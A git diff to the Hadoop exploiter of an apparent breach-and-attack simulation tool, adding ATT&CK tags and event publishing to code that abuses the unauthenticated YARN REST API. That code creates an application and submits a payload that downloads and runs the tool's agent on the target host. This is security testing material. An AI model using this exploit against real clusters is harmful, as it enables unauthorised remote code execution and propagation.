diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index 1b7c54470..f2a65b563 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -5,13 +5,20 @@ """ import json +import logging import posixpath import random import string +from time import time import requests from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT +from common.tags import ( + T1105_ATTACK_TECHNIQUE_TAG, + T1203_ATTACK_TECHNIQUE_TAG, + T1210_ATTACK_TECHNIQUE_TAG, +) from infection_monkey.exploit.tools.helpers import get_agent_dst_path from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.exploit.web_rce import WebRCE @@ -23,6 +30,10 @@ from infection_monkey.model import ( ) from infection_monkey.utils.commands import build_monkey_commandline +logger = logging.getLogger(__name__) + +HADOOP_EXPLOITER_TAG = "hadoop-exploiter" + class HadoopExploiter(WebRCE): _EXPLOITED_SERVICE = "Hadoop" @@ -32,39 +43,43 @@ class HadoopExploiter(WebRCE): # Random string's length that's used for creating unique app name RAN_STR_LEN = 6 + _EXPLOITER_TAGS = (HADOOP_EXPLOITER_TAG, T1203_ATTACK_TECHNIQUE_TAG, T1210_ATTACK_TECHNIQUE_TAG) + + _PROPAGATION_TAGS = (HADOOP_EXPLOITER_TAG, T1105_ATTACK_TECHNIQUE_TAG) + def __init__(self): super(HadoopExploiter, self).__init__() def _exploit_host(self): - # Try to get exploitable url - urls = self.build_potential_urls(self.host.ip_addr, self.HADOOP_PORTS) - self.add_vulnerable_urls(urls, True) - if not self.vulnerable_urls: + # Try to get potential urls + potential_urls = self.build_potential_urls(self.host.ip_addr, self.HADOOP_PORTS) + if not potential_urls: + self.exploit_result.error_message = ( + f"No potential exploitable urls has been found for {self.host}" + ) return self.exploit_result - try: - monkey_path_on_victim = get_agent_dst_path(self.host) - except KeyError: - return self.exploit_result + monkey_path_on_victim = get_agent_dst_path(self.host) http_path, http_thread = HTTPTools.create_locked_transfer( self.host, str(monkey_path_on_victim), self.agent_binary_repository ) + command = self._build_command(monkey_path_on_victim, http_path) try: - command = self._build_command(monkey_path_on_victim, http_path) - - if self.exploit(self.vulnerable_urls[0], command): - self.add_executed_cmd(command) - self.exploit_result.exploitation_success = True - self.exploit_result.propagation_success = True + for url in potential_urls: + if self.exploit(url, command): + self.add_executed_cmd(command) + self.exploit_result.exploitation_success = True + self.exploit_result.propagation_success = True + break finally: http_thread.join(self.DOWNLOAD_TIMEOUT) http_thread.stop() return self.exploit_result - def exploit(self, url, command): + def exploit(self, url: str, command: str): if self._is_interrupted(): self._set_interrupted() return False @@ -73,8 +88,8 @@ class HadoopExploiter(WebRCE): resp = requests.post( posixpath.join(url, "ws/v1/cluster/apps/new-application"), timeout=LONG_REQUEST_TIMEOUT ) - resp = json.loads(resp.content) - app_id = resp["application-id"] + resp_dict = json.loads(resp.content) + app_id = resp_dict["application-id"] # Create a random name for our application in YARN # random.SystemRandom can block indefinitely in Linux @@ -87,10 +102,16 @@ class HadoopExploiter(WebRCE): self._set_interrupted() return False + timestamp = time() resp = requests.post( posixpath.join(url, "ws/v1/cluster/apps/"), json=payload, timeout=LONG_REQUEST_TIMEOUT ) - return resp.status_code == 202 + + success = resp.status_code == 202 + message = "" if success else f"Failed to exploit via {url}" + self._publish_exploitation_event(timestamp, success, error_message=message) + self._publish_propagation_event(timestamp, success, error_message=message) + return success def check_if_exploitable(self, url): try: